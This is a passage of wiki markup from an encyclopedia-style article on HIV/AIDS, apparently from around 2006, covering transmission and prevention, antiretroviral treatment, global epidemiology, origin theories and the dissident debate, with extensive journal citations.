  | author=Dias, S. F., Matos, M. G. and Goncalves, A. C.
  | title=Preventing HIV transmission in adolescents: an analysis of the Portuguese data from the Health Behaviour School-aged Children study and focus groups 
  | journal=Eur. J. Public Health | year=2005 | pages=300-304 | volume=15 | issue=3 
  | id={{PMID|15941747}}

}}&lt;/ref&gt;. However, transmission of HIV between intravenous drug users has clearly decreased, and HIV transmission by blood transfusion has become quite rare in developed countries.

===Prevention of sexual transmission of HIV===
====Underlying science====
Unprotected receptive sexual acts are at more risk than unprotected insertive sexual acts, with the risk for transmitting HIV from an infected partner to an uninfected partner through unprotected insertive anal intercourse greater than the risk for transmission through vaginal intercourse or oral sex. Oral sex is not without its risks as it has been established that HIV can be transmitted through both insertive and receptive oral sex &lt;ref name=Rothenberg&gt;{{

  cite journal | author=Rothenberg, R. B., Scarlett, M., del Rio, C., Reznik, D. and O'Daniels, C. 
  | title=Oral transmission of HIV | journal=AIDS | year=1998 | pages=2095-2105 | volume=12 | issue=16 
  | id={{PMID|9833850}}

}}&lt;/ref&gt;.

[[Sexually-transmitted infection]]s (STI) increase the risk of HIV transmission and infection because they cause the disruption of the normal epithelial barrier by genital ulceration and/or microulceration; and by accumulation of pools of HIV-susceptible or HIV-infected cells ([[lymphocyte]]s and [[macrophage]]s) in semen and vaginal secretions. Epidemiological studies from sub-Saharan Africa, Europe and North America have suggested that there is approximately a four times greater risk of becoming HIV-infected in the presence of a genital ulcer such as caused by [[syphilis]] and/or [[chancroid]]; and a significant though lesser increased risk in the presence of STIs such as [[gonorrhoea]], [[chlamydia]]l infection and [[trichomoniasis]] which cause local accumulations of lymphocytes and macrophages &lt;ref name=Laga&gt;{{

  cite journal 
  | author=Laga, M., Nzila, N., Goeman, J. 
  | title=The interrelationship of sexually transmitted diseases and HIV infection: implications for the control of both epidemics in Africa 
  | journal=AIDS | year=1991 | pages=S55-S63 | volume=5 | issue=Suppl 1 
  | id={{PMID|1669925}}

}}&lt;/ref&gt;. 

Transmission of HIV depends on the infectiousness of the [[index case]] and the susceptibility of the uninfected partner. Infectivity seems to vary during the course of illness and is not constant between individuals. An undetectable plasma viral load does not mean that you have a low viral load in the seminal liquid or genital secretions. Each 10 fold increment of seminal HIV RNA is associated with an 81% increased rate of HIV transmission &lt;ref name=Laga&gt;{{

  cite journal 
  | author=Laga, M., Nzila, N., Goeman, J. 
  | title=The interrelationship of sexually transmitted diseases and HIV infection: implications for the control of both epidemics in Africa 
  | journal=AIDS | year=1991 | pages=S55-S63 | volume=5 | issue=Suppl 1 
  | id={{PMID|1669925}}

}}&lt;/ref&gt;&lt;ref name=Tovanabutra&gt;{{

  cite journal 
  | author=Tovanabutra, S., Robison, V., Wongtrakul, J., Sennum, S., Suriyanon, V., Kingkeow, D., Kawichai, S., Tanan, P., Duerr, A. and Nelson, K. E. 
  | title=Male viral load and heterosexual transmission of HIV-1 subtype E in northern Thailand 
  | journal=J. Acquir. Immune. Defic. Syndr. | year=2002 | pages=275-283 | volume=29 | issue=3 
  | id={{PMID|11873077}}

}}&lt;/ref&gt;. Women are more susceptible to HIV-1 infection due to hormonal changes, vaginal microbial ecology and physiology, and a higher prevalence of sexually transmitted diseases &lt;ref name=Sagar&gt;{{

  cite journal 
  | author=Sagar, M., Lavreys, L., Baeten, J. M., Richardson, B. A., Mandaliya, K., Ndinya-Achola, J. O., Kreiss, J. K., and Overbaugh, J. 
  | title=Identification of modifiable factors that affect the genetic diversity of the transmitted HIV-1 population 
  | journal=AIDS | year=2004 | pages=615-619 | volume=18 | issue=4 
  | id={{PMID|15090766}}

}}&lt;/ref&gt;&lt;ref name=Lavreys&gt;{{

  cite journal 
  | author= Lavreys, L., Baeten, J. M., Martin, H. L. Jr., Overbaugh, J., Mandaliya, K., Ndinya-Achola, J., and Kreiss, J. K. 
  | title=Hormonal contraception and risk of HIV-1 acquisition: results of a 10-year prospective study 
  | journal=AIDS | year=2004 | pages=695-697 | volume=18 | issue=4 
  | id={{PMID|15090778}}

}}&lt;/ref&gt;. Also, people who are infected with HIV can still be infected by other, more virulent strains.

====Prevention strategies====
During a sexual act, only [[condom]]s, be they male or female, can reduce the chances of infection with HIV and other STIs and the chances of becoming pregnant. They must be used during all penetrative sexual intercourse with a partner who is HIV positive or whose status is unknown &lt;ref name=Cayley&gt;{{

  cite journal
  | author=Cayley, W. E. Jr.
  | title=Effectiveness of condoms in reducing heterosexual transmission of HIV
  | journal=Am. Fam. Physician | year=2004 | pages=1268-1269 | volume=70 | issue=7
  | id={{PMID|15508535}}

}}&lt;/ref&gt;. The effective use of condoms and screening of blood transfusion in North America, Western and Central Europe is credited with the low rates of AIDS in these regions. 

Promoting condom use, however, has often proved controversial and difficult. Many religious groups, most visibly the [[Roman Catholic Church]], have opposed the use of condoms on religious grounds, and have sometimes seen condom promotion as an affront to the promotion of marriage, monogamy and sexual morality. Other religious groups have argued that preventing HIV infection is a moral task in itself and that condoms are therefore acceptable or even praiseworthy from a religious point of view. 

[[Image:ThreeColoredRolledUpCondoms.jpg|thumb|right|Condoms in many colors]]
''The male latex condom'' is the single most efficient available technology to reduce the sexual transmission of HIV and other sexually transmitted infections. In order to be effective, they must be used correctly during each sexual act. Lubricants containing oil, such as petroleum jelly, or butter, must not be used as they weaken [[latex]] condoms and make them porous. If necessary, lubricants made from water are recommended. However, it is not recommended to use a lubricant for fellatio. Also, condoms have standards and expiration dates. It is essential to check the expiration date and if it conforms to European (EC 600) or American (D3492) standards before use. 

''[[Condom#Female condoms|The female condom]]'' is an alternative to the male condom and is made from [[polyurethane]], which allows it to be used in the presence of oil-based lubricants. They are larger than male condoms and have a stiffened ring-shaped opening, and are designed to be inserted into the vagina. The female condom also contains an inner ring which keeps the condom in place inside the vagina - inserting the female condom requires squeezing this ring.  
With consistent and correct use of condoms, there is a very low risk of HIV infection. Studies on couples where one partner is infected show that with consistent condom use, HIV infection rates for the uninfected partner are below 1% per year &lt;ref name=WHOCondoms&gt;{{

  cite web
  | author=[[WHO]] | publisher= | year= 2003
  | url=http://www.wpro.who.int/media_centre/fact_sheets/fs_200308_Condoms.htm
  | title=Condom Facts and Figures
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

====Governmental programs====
The U.S. government and U.S. health organizations both endorse the '''''ABC Approach''''' to lower the risk of acquiring AIDS during sex:

: '''A'''bstinence or delay of sexual activity, especially for youth,
: '''B'''eing faithful, especially for those in committed relationships,
: '''C'''ondom use, for those who engage in risky behavior.

This approach has been very successful in [[Uganda]], where HIV prevalence has decreased from 15% to 5%. However, the ABC approach is far from all that Uganda has done, as &quot;''Uganda has pioneered approaches towards reducing stigma, bringing discussion of sexual behavior out into the open, involving HIV-infected people in public education, persuading individuals and couples to be tested and counseled, improving the status of women, involving religious organizations, enlisting traditional healers, and much more.''&quot; (Edward Green, [[Harvard]] medical anthropologist). Also, it must be noted that there is no conclusive proof that abstinence-only programs have been successful in any country in the world in reducing HIV transmission. This is why condom use is heavily co-promoted. There is also considerable overlap with the '''''CNN Approach'''''. This is:

: '''C'''ondom use, for those who engage in risky behavior.
: '''N'''eedles, use clean ones
: '''N'''egotiating skills; negotiating safer sex with a partner and empowering women to make smart choices

The '''ABC approach''' has been criticized, because a faithful partner of an unfaithful partner is at risk of AIDS &lt;ref name=EconomistABC&gt;{{

  cite web 
  | author=[[The Economist]] | publisher= | year=2005 
  | url=http://www.economist.com/opinion/displayStory.cfm?story_id=4223619 
  | title=Too much morality, too little sense
  | accessdate=2006-01-17

}}&lt;/ref&gt;. Many think that the combination of the CNN approach with the ABC approach will be the optimum prevention platform.

====Circumcision====
Current research is clarifying the relationship between male circumcision and HIV in differing social and cultural contexts. UNAIDS believes that it is premature to recommend male circumcision services as part of HIV prevention programmes &lt;ref name=WHOcircumcision&gt;{{

  cite web
  | author=[[WHO]] | publisher= | year=2005
  | url=http://www.who.int/mediacentre/news/releases/2005/pr32/en/
  | title=UNAIDS statement on South African trial findings regarding male circumcision and HIV
  | accessdate=2006-01-17

}}&lt;/ref&gt;. Moreover, South African medical experts are concerned that the repeated use of unsterilised blades in the ritual circumcision of adolescent boys may be spreading HIV &lt;ref name=Kaisercircum&gt;{{

  cite web 
  | author=Various | publisher=Kaisernetwork.org | year=2005
  | url=http://www.kaisernetwork.org/daily_reports/rep_index.cfm?DR_ID=31199
  | title=Repeated Use of Unsterilized Blades in Ritual Circumcision Might Contribute to HIV Spread in S. Africa, Doctors Say 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

===Prevention of blood or blood product route of HIV transmission===
====Underlying science====
Sharing and reusing syringes contaminated with HIV-infected blood represents a major risk for infection with not only HIV but also [[hepatitis B]] and [[hepatitis C]]. In the United States a third of all new HIV infections can be traced to needle sharing and almost 50% of long-term addicts have hepatitis C. The risk of being infected with HIV from a single prick with a needle that has been used on an HIV infected person though is thought to be about 1 in 150 ([[AIDS#Prevention|see table above]]). [[Post-exposure prophylaxis]] with anti-HIV drugs can further reduce that small risk &lt;ref name=Fan&gt;{{

  cite book
  | author =Fan, H. | year = 2005 
  | title =AIDS: science and society | chapter = | chapterurl = 
  | editor = Fan, H., Conner, R. F. and Villarreal, L. P. eds 
  | edition = 4th | pages = 
  | publisher =Jones and Bartlett Publishers 
  | location = Boston, MA 
  | id = ISBN 076370086X

}}&lt;/ref&gt;. Universal precautions are frequently not followed in both sub-Saharan Africa and much of Asia because of both a shortage of supplies and inadequate training. The WHO estimates that approximately 2.5% of all HIV infections in sub-Saharan Africa are transmitted through unsafe healthcare injections &lt;ref name=WHOJapan&gt;{{

  cite web
  | author=[[WHO]] | publisher= | year= 2003 
  | url=http://64.233.179.104/search?q=cache:adH68_6JGG8J:tokyo.usembassy.gov//e/p/tp-20030317a3.html+site:tokyo.usembassy.gov+HIV+healthcare+injection&amp;hl=en&amp;gl=us&amp;ct=clnk&amp;cd=1 
  | title=WHO, UNAIDS Reaffirm HIV as a Sexually Transmitted Disease 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. Because of this, the [[United Nations General Assembly]], supported by universal medical opinion on the matter, has urged the nations of the world to implement universal precautions to prevent HIV transmission in health care settings &lt;ref name=PHR&gt;{{

  cite web 
  | author=Physicians for Human Rights  | publisher=Partners in Health | year=2003
  | url=http://www.phrusa.org/campaigns/aids/who_031303.html
  | title=HIV Transmission in the Medical Setting: A White Paper by Physicians for Human Rights | accessdate=2006-03-01

}}&lt;/ref&gt;&lt;ref name=UNGA&gt;{{

  cite web 
  | author=United Nations General Assembly  | publisher= | year=2001
  | url=http://www.un.org/ga/aids/coverage/FinalDeclarationHIVAIDS.html
  | title=Declaration of Commitment on HIV/AIDS ''Global Crisis — Global Action''
  | accessdate=2006-03-01

}}&lt;/ref&gt;.

====Prevention strategies==== 
In countries where improved donor selection and antibody tests have been introduced, the risk of transmitting [[HIV]] infection to [[blood transfusion]] recipients is extremely low. But according to the [[WHO]], the overwhelming majority of the world's population does not have access to safe blood and &quot;between 5% and 10% of HIV infections worldwide are transmitted through the transfusion of infected blood and blood products&quot; &lt;ref name=WHO070401&gt;{{

  cite web
  | author=[[WHO]] | publisher= | year= 2001 
  | url=http://www.who.int/inf-pr-2000/en/pr2000-25.html 
  | title=Blood safety....for too few 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

Medical workers who follow [[universal precautions]] or body substance isolation such as wearing latex gloves when giving injections and washing the hands frequently can help prevent infection of HIV. 

All AIDS-prevention organizations advise drug-users not to share needles and other material required to prepare and take drugs (including syringes, cotton balls, the spoons, water for diluting the drug, straws, crack pipes etc). It is important that people use new or properly sterilized needles for each injection. Information on cleaning needles using bleach is available from health care and addiction professionals and from [[needle exchange]]s. In the United States and some other countries, clean needles are available free in some cities, at needle exchanges or [[safe injection site]]s. Additionally, many states within the United States and some other nations have decriminalized needle possession and made it possible to buy injection equipment from pharmacists without a prescription.

===Mother to child transmission===
====Underlying science====
There is a 15–30% risk of transmission of HIV from mother to child during pregnancy, labour and delivery &lt;ref name=Orendi&gt;{{

  cite journal 
  | author=Orendi, J. M., Boer, K., van Loon, A. M., Borleffs, J. C., van Oppen, A. C., Boucher, C. A. 
  | title=Vertical HIV-I-transmission. I. Risk and prevention in pregnancy 
  | journal=Ned. Tijdschr. Geneeskd | year=1998 | pages=2720-2724 | volume=142 | issue=50 
  | id={{PMID|10065235}}

}}&lt;/ref&gt;. In developed countries the risk can of transmission of HIV from mother to child can be as low as 0-5%.  A number of factors influence the risk of infection, particularly the viral load of the mother at birth (the higher the load, the higher the risk). Breastfeeding increases the risk of transmission by 10–15%. This risk depends on clinical factors and may vary according to the pattern and duration of breastfeeding.

====Prevention strategies====
Studies have shown that antiretroviral drugs, cesarean delivery and formula feeding reduce the chance of transmission of HIV from mother to child &lt;ref name=Sperling&gt;{{

  cite journal 
  | author=Sperling, R. S., Shapirom D. E., Coombsm R. W., Todd, J. A., Herman, S. A., McSherry, G. D., O'Sullivan, M. J., Van Dyke, R. B., Jimenez, E., Rouzioux, C., Flynn, P. M. and Sullivan, J. L. 
  | title=Maternal viral load, zidovudine treatment, and the risk of transmission of human immunodeficiency virus type 1 from mother to infant 
  | journal=N. Engl. J. Med. | year=1996 | pages=1621-1629 | volume=335 | issue=22 
  | id={{PMID|8965861}}

}}&lt;/ref&gt;. When replacement feeding is acceptable, feasible, affordable, sustainable and safe, HIV-infected mothers are recommended to avoid breast feeding their infant. Otherwise, exclusive breastfeeding is recommended during the first months of life and should be discontinued as soon as possible &lt;ref name=UNAIDS&gt;{{

  cite web 
  | author=[[UNAIDS]] | publisher= | year= 2005 
  | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf 
  | title=AIDS epidemic update, 2005 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

==Treatment==
{{main|Antiretroviral drug}}
{{see|HIV vaccine}}
There is currently no cure for [[HIV]] or AIDS. Infection with HIV usually leads to AIDS and ultimately death. However, in western countries, most patients survive many years following diagnosis because of the availability of the highly active antiretroviral therapy ([[HAART]])&lt;ref name=Schneider&gt;{{

  cite journal 
  | author=Schneider, M. F., Gange, S. J., Williams, C. M., Anastos, K., Greenblatt, R. M., Kingsley, L., Detels, R., and Munoz, A.  
  | title=Patterns of the hazard of death after AIDS through the evolution of antiretroviral therapy: 1984-2004 
  | journal=AIDS | year=2005 | pages=2009-2018 | volume=19 | issue=17 
  | id={{PMID|16260908}}

}}&lt;/ref&gt;. In the absence of HAART, progression from HIV infection to AIDS occurs at a [[median]] of between nine to ten years and the median survival time after developing AIDS is only 9.2 months&lt;ref name=Morgan2&gt;{{

  cite journal 
  | author=Morgan, D., Mahe, C., Mayanja, B., Okongo, J. M., Lubega, R. and Whitworth, J. A. 
  | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries? 
  | journal=AIDS | year=2002 | pages=597-632 | volume=16 | issue=4 | id={{PMID |11873003}}

}}&lt;/ref&gt;. HAART dramatically increases the time from diagnosis to death, and treatment research continues.

Current optimal HAART options consist of combinations (or &quot;cocktails&quot;) consisting of at least three drugs belonging to at least two types, or &quot;classes,&quot; of [[anti-retroviral]] agents.  Typical regimens consist of two [[nucleoside analogue reverse transcriptase inhibitor]]s (NRTIs) plus either a [[protease inhibitor (pharmacology)|protease inhibitor]] or a non nucleoside reverse transcriptase inhibitor (NNRTI). This treatment is frequently referred to as [[HAART]] (highly-active anti-retroviral therapy) &lt;ref name=DhhsHivTreatment&gt;{{

  cite web 
  | author=[[Department of Health and Human Services]] | publisher= 
  | year=January, 2005 
  | url=http://www.hab.hrsa.gov/tools/HIVpocketguide05/PktGARTtables.htm
  | title=A Pocket Guide to Adult HIV/AIDS Treatment January 2005 edition 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. Anti-retroviral treatments, along with medications intended to prevent AIDS-related opportunistic infections, have played a part in delaying complications associated with AIDS, reducing the symptoms of HIV infection, and extending patients' life spans. Over the past decade the success of these treatments in prolonging and improving the quality of life for people with AIDS has improved dramatically &lt;ref name=Wood&gt;{{

  cite journal 
  | author=Wood, E., Hogg, R. S., Yip, B., Harrigan, P. R., O'Shaughnessy, M. V. and Montaner, J. S. 
  | title=Is there a baseline CD4 cell count that precludes a survival response to modern antiretroviral therapy? 
  | journal=AIDS | year=2003 | pages=711-720 | volume=17 | issue=5 
  | id={{PMID|12646794}}

}}&lt;/ref&gt;&lt;ref name=Chene&gt;{{

  cite journal 
  | author=Chene, G., Sterne, J. A., May, M., Costagliola, D., Ledergerber, B., Phillips, A. N., Dabis, F., Lundgren, J., D'Arminio Monforte, A., de Wolf, F., Hogg, R., Reiss, P., Justice, A., Leport, C., Staszewski, S., Gill, J., Fatkenheuer, G., Egger, M. E. and the Antiretroviral Therapy Cohort Collaboration. 
  | title=Prognostic importance of initial response in HIV-1 infected patients starting potent antiretroviral therapy: analysis of prospective studies 
  | journal=Lancet | year=2003 | pages=679-686 | volume=362 | issue=9385 
  | id={{PMID|12957089}}

}}&lt;/ref&gt;.

Because HIV disease progression in children is more rapid than in adults, and laboratory parameters are less predictive of risk for disease progression, particularly for young infants, treatment recommendations from the DHHS have been more aggressive in children than in adults, the current guidelines were published [[November 3]] [[2005]] &lt;ref name=2005dhhsHivChildren&gt;{{

  cite web 
  | author=[[Department of Health and Human Services]] Working Group on Antiretroviral Therapy and Medical Management of HIV-Infected Children 
  | publisher= | year=[[November 3]], [[2005]]
  | url=http://www.aidsinfo.nih.gov/ContentFiles/PediatricGuidelines_PDA.pdf 
  | title=Guidelines for the Use of Antiretroviral Agents in Pediatric HIV Infection 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

The DHHS also recommends that doctors should assess the viral load, rapidity in CD4 decline, and patient readiness while deciding when to recommend initiating treatment &lt;ref name=2005DhhsHivTreatment&gt;{{

  cite web 
  | author=[[Department of Health and Human Services]] Panel on Clinical Practices for Treatment of HIV Infection 
  | publisher= | year=[[October 6]], [[2005]] 
  | url=http://aidsinfo.nih.gov/ContentFiles/AdultandAdolescentGL.pdf 
  | title=Guidelines for the Use of Antiretroviral Agents in HIV-1-Infected Adults and Adolescents 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

There are several concerns about antiretroviral regimens. The drugs can have serious side effects&lt;ref name=Saitoh&gt;{{

  cite journal 
  | author=Saitoh, A., Hull, A. D., Franklin, P. and Spector, S. A.  
  | title=Myelomeningocele in an infant with intrauterine exposure to efavirenz 
  | journal=J. Perinatol. | year=2005 | pages=555-556 | volume=25 | issue=8 
  | id={{PMID|16047034}}

}}&lt;/ref&gt;. Regimens can be complicated, requiring patients to take several pills at various times during the day, although treatment regimens have been greatly simplified in recent years. If patients miss doses, drug resistance can develop &lt;ref name=Dybul&gt;{{

  cite journal 
  | author=Dybul, M., Fauci, A. S., Bartlett, J. G., Kaplan, J. E., Pau, A. K.; Panel on Clinical Practices for Treatment of HIV. 
  | title=Guidelines for using antiretroviral agents among HIV-infected adults and adolescents 
  | journal=Ann. Intern. Med. | year=2002 | pages=381-433 | volume=137 | issue=5 Pt 2 
  | id={{PMID|12617573}}

}}&lt;/ref&gt;. Also, anti-retroviral drugs are costly, and the majority of the world's infected individuals do not have access to medications and treatments for HIV and AIDS.

Research to improve current treatments includes decreasing side effects of current drugs, further simplifying drug regimens to improve adherence, and determining the best sequence of regimens to manage drug resistance.

A number of studies have shown that measures to prevent opportunistic infections can be beneficial when treating patients with HIV infection or AIDS.  Vaccination against hepatitis A and B is advised for patients who are not infected with these viruses and are at risk of getting infected.  In addition, AIDS patients should receive vaccination against [[Streptococcus pneumoniae]] and should receive yearly vaccination against [[influenza virus]].  Patients with substantial immunosuppression are generally advised to receive prophylactic therapy for [[Pneumocystis jiroveci pneumonia]] (PCP), and many patients may benefit from prophylactic therapy for [[toxoplasmosis]] and [[Cryptococcus]] meningitis.  

===Alternative medicine===
Ever since AIDS entered the public consciousness, various forms of [[alternative medicine]] have been used to try to treat symptoms or to try to affect the course of the disease itself. In the first decade of the epidemic when no useful conventional treatment was available, a large number of people with AIDS experimented with [[alternative medicine|alternative therapies]]. The definition of &quot;alternative therapies&quot; in AIDS has changed since that time. During that time, the phrase often referred to community-driven treatments, not being tested by government or pharmaceutical company research, that some hoped would directly suppress the virus or stimulate immunity against it. These kinds of approaches have become less common over time as AIDS drugs have become more effective. 

The phrase then and now also refers to other approaches that people hoped would improve their symptoms or their quality of life--for instance, massage, herbal and flower remedies and [[acupuncture]]; when used with conventional treatment, many now refer to these as &quot;complementary&quot; approaches. None of these treatments have been proven in controlled trials to have any effect in treating HIV or AIDS directly. However, some may improve feelings of well-being in people who believe in their value. Additionally, people with AIDS, like people with other illnesses such as [[cancer]], also sometimes use [[marijuana]] to treat pain, combat nausea and stimulate appetite.

==Epidemiology==
{{main|AIDS pandemic}}
[[Image:Africa HIV-AIDS 300px.png|300px|thumb|right|Map of Africa coloured according to the percentage of the Adult (ages 15-49) population with HIV/AIDS.]]
[[UNAIDS]] and the WHO estimate that AIDS has killed more than 25 million people since it was first recognized in 1981, making it one of the most destructive epidemics in recorded history. Despite recent, improved access to antiretroviral treatment and care in many regions of the world, the AIDS epidemic claimed an estimated 3.1 million (between 2.8 and 3.6 million) lives in 2005 of which more than half a million (570,000) were children &lt;ref name=UNAIDS&gt;{{

  cite web 
  | author=[[UNAIDS]] | publisher= | year= 2005 
  | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf 
  | title=AIDS epidemic update, 2005 
  | accessdate=2006-01-17

}}&lt;/ref&gt;.

Globally, between 36.7 and 45.3 million people are currently living with HIV &lt;ref name=UNAIDS&gt;{{

  cite web 
  | author=[[UNAIDS]] | publisher= | year= 2005 
  | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf 
  | title=AIDS epidemic update, 2005 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. In 2005, between 4.3 and 6.6 million people were newly infected and between 2.8 and 3.6 million people with AIDS died, an increase from 2004 and the highest number since 1981.

[[AIDS pandemic#Sub-Saharan Africa|Sub-Saharan Africa]] remains by far the worst-affected region, with an estimated 23.8 to 28.9 million people currently living with HIV. More than 60% of all people living with HIV are in sub-Saharan Africa, as are more than three quarters (76%) of all women living with HIV &lt;ref name=UNAIDS&gt;{{

  cite web 
  | author=[[UNAIDS]] | publisher= | year= 2005 
  | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf 
  | title=AIDS epidemic update, 2005 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. [[AIDS pandemic#South and South-East Asia|South &amp;amp; South East Asia]] are second most affected with 15%. AIDS accounts for the deaths of 500,000 children.

The latest evaluation report of the World Bank's Operations Evaluation Department assesses the development effectiveness of the World Bank's country-level HIV/AIDS assistance defined as policy dialogue, analytic work, and lending with the explicit objective of reducing the scope or impact of the AIDS epidemic &lt;ref name=Worldbank&gt;{{

  cite web 
  | author=[[World Bank]] | publisher= | year=2005 
  | url=http://www.worldbank.org/oed/aids/main_report.html 
  | title=Evaluating the World Bank's Assistance for Fighting the HIV/AIDS Epidemic 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. This is the first comprehensive evaluation of the World Bank's HIV/AIDS support to countries, from the beginning of the epidemic through mid-2004. Because the Bank's assistance is for implementation of government programs by government, it provides important insights on how national AIDS programs can be made more effective.

The development of [[HAART]] as effective therapy for HIV infection and AIDS has substantially reduced the death rate from this disease in those areas where it is widely available. This has created the misperception that the disease has gone away. In fact, as the life expectancy of persons with AIDS has increased in countries where HAART is widely used, the number of persons living with AIDS has increased substantially.  In the United States, for example, the number of persons with AIDS increased from about 35,000 in 1988 to over 220,000 in 1996 &lt;ref name=CDC1996&gt;{{

  cite journal |
    author=[[CDC]] |
    title=U.S. HIV and AIDS cases reported through December 1996 |
    journal=HIV/AIDS Surveillance Report | year=1996 | pages=1-40 | volume=8 | issue=2 | url=http://www.cdc.gov/hiv/stats/hivsur82.pdf

}}&lt;/ref&gt;.

==Origin of HIV/AIDS==
{{main|AIDS origin}}
The official date for the beginning of the AIDS epidemic is marked as [[June 18]], [[1981]], when the U.S. [[Centers for Disease Control and Prevention|Center for Disease Control]] and Prevention reported a cluster of [[Pneumocystis jiroveci pneumonia|''Pneumocystis carinii'' pneumonia]] (now classified as Pneumocystis jiroveci pneumonia) in five gay men in [[Los Angeles]] &lt;ref name=MMWR2&gt;{{

  cite web 
  | author=[[CDC]] | publisher=CDC | year=1981 
  | url=http://www.cdc.gov/mmwr/preview/mmwrhtml/june_5.htm 
  | title=Pneumocystis Pneumonia --- Los Angeles 
  | accessdate=2006-01-17

}}&lt;/ref&gt;. Originally dubbed GRID, or Gay-Related [[Immunodeficiency|Immune Deficiency]], health authorities soon realized that nearly half of the people identified with the syndrome were not gay. In 1982, the CDC introduced the term AIDS to describe the newly recognized syndrome.

Three of the earliest known instances of HIV infection are as follows:
#A plasma sample taken in 1959 from an adult male living in what is now the Democratic Republic of Congo &lt;ref name=Zhu&gt;{{

  cite journal 
  | author=Zhu, T., Korber, B. T., Nahmias, A. J., Hooper, E., Sharp, P. M. and Ho, D. D. | title=An African HIV-1 Sequence from 1959 and Implications for the Origin of the Epidemic 
  | journal=Nature | year=1998 | pages=594-597 | volume=391 | issue=6667 
  | id={{PMID|9468138}}

}}&lt;/ref&gt;.
#HIV found in tissue samples from an American teenager who died in St. Louis in 1969.
#HIV found in tissue samples from a Norwegian sailor who died around 1976.

Two species of HIV infect humans: HIV-1 and HIV-2. HIV-1 is more virulent and more easily transmitted. HIV-1 is the source of the majority of HIV infections throughout the world, while HIV-2 is less easily transmitted and is largely confined to [[West Africa]] &lt;ref name=Reeves&gt;{{

  cite journal 
  | author=Reeves, J. D. and Doms, R. W 
  | title=Human Immunodeficiency Virus Type 2 
  | journal=J. Gen. Virol. | year=2002 | pages=1253-1265 | volume=83 | issue=Pt 6 
  | id={{PMID|12029140}}

}}&lt;/ref&gt;. Both HIV-1 and HIV-2 are of primate origin.  The origin of HIV-1 is the [[Common Chimpanzee|Central Common Chimpanzee]] (''Pan troglodytes troglodytes''). The origin of HIV-2 has been established to be the [[Sooty Mangabey]] (''Cercocebus atys''), an Old World monkey of Guinea Bissau, Gabon, and Cameroon.

One currently controversial possibility for the origin of HIV/AIDS was discussed in a [[1992]] Rolling Stone magazine article by freelance journalist Tom Curtis.  He put forward the theory that AIDS was inadvertantly caused in the late 1950's in the [[Belgian Congo]] by [[Hilary Koprowski]]'s research into a [[polio]] [[vaccine]] &lt;ref name=Curtis&gt;{{

  cite journal |
    author=Curtis, T. |
    title=The origin of AIDS|
    journal=Rolling Stone | year=1992 | pages=54-59, 61, 106, 108 | volume= | issue=626 | url=http://www.uow.edu.au/arts/sts/bmartin/dissent/documents/AIDS/Curtis92.html

}}&lt;/ref&gt;.  Although subsequently retracted due to [[libel]] issues surrounding its claims, the Rolling Stone article motivated another freelance journalist, [[Edward Hooper]], to probe more deeply into this subject.   Hooper's research resulted in his publishing a 1999 book, [[The River]], in which he alleged that an experimental oral [[polio]] [[vaccine]] prepared using  [[chimpanzee]] kidney tissue was the route through which [[SIV]] crossed into humans to become HIV, thus starting the 
human AIDS pandemic&lt;ref name=Hooper&gt;{{

  cite book 
  | author = Hooper, E. 
  | year = 1999 
  | title = The River : A Journey to the Source of HIV and AIDS 
  | edition = 1st
  | pages =  1-1070
  | publisher = Little Brown &amp; Co
  | location = Boston, MA
  | id = ISBN 0316372617

}}&lt;/ref&gt;.

{{details|OPV AIDS hypothesis}}

==Alternative theories==
{{main|AIDS reappraisal}}
A minority of scientists and activists question the connection between HIV and AIDS &lt;ref name=Duesberg&gt;{{

  cite journal
  | author=Duesberg, P. H.
  | title=HIV is not the cause of AIDS
  | journal=Science | year=1988 | pages=514, 517 | volume=241 | issue=4865
  | id={{PMID |3399880}}

}}&lt;/ref&gt;, or the existence of HIV &lt;ref name=Papadopulos&gt;{{

  cite journal
  | author=Papadopulos-Eleopulos, E., Turner, V. F., Papadimitriou, J., Page, B., Causer, D., Alfonso, H., Mhlongo, S., Miller, T., Maniotis, A. and Fiala, C.
  | title=A critique of the Montagnier evidence for the HIV/AIDS hypothesis
  | journal=Med Hypotheses | year=2004 | pages=597-601 | volume=63 | issue=4
  | id={{PMID |15325002}}

}}&lt;/ref&gt;, or the validity of current testing methods. These claims are met with resistance by, and often evoke frustration and hostility from, most of the scientific community, who accuse the dissidents of ignoring evidence in favor of HIV's role in AIDS, and irresponsibly posing a dangerous threat to [[public health]] by their continued activities &lt;ref name=Cohen&gt;{{

  cite journal
  | author=Cohen, J.
  | title=The Duesberg phenomenon
  | journal=Science | year=1994 | pages=1642-1644 | volume=266 | issue=5191
  | id={{PMID |7992043}}
  | url=http://www.sciencemag.org/feature/data/cohen/266-5191-1642a.pdf

}}&lt;/ref&gt;. Dissidents assert that the current mainstream approach to AIDS, based on HIV causation, has resulted in inaccurate diagnoses, psychological terror, toxic treatments, and a squandering of public funds. The debate and controversy regarding this issue from the early 1980s to the present has provoked heated emotions and passions from both sides.

==References==
&lt;div style=&quot;font-size:85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==External links==
* [http://www.unaids.org/en/default.asp UNAIDS] The Joint United Nations Programme on HIV/AIDS
* [http://www.eldis.org/hivaids/ Eldis HIV and AIDS] - latest research and other resources on HIV and AIDS in developing countries
* [http://www.iasociety.org/ International AIDS Society] - the world's leading independent association of HIV/AIDS professionals
* [http://www.aegis.org/ AEGiS.org] AIDS Education Global Information System
* [http://www.worldaidsday.org/ World AIDS Day] World AIDS Day [[1 December]] - Show your support
* [http://www.worldbank.org/oed/aids AIDS Assistance] Evaluating the World Bank's Assistance for Fighting the HIV/AIDS Epidemic
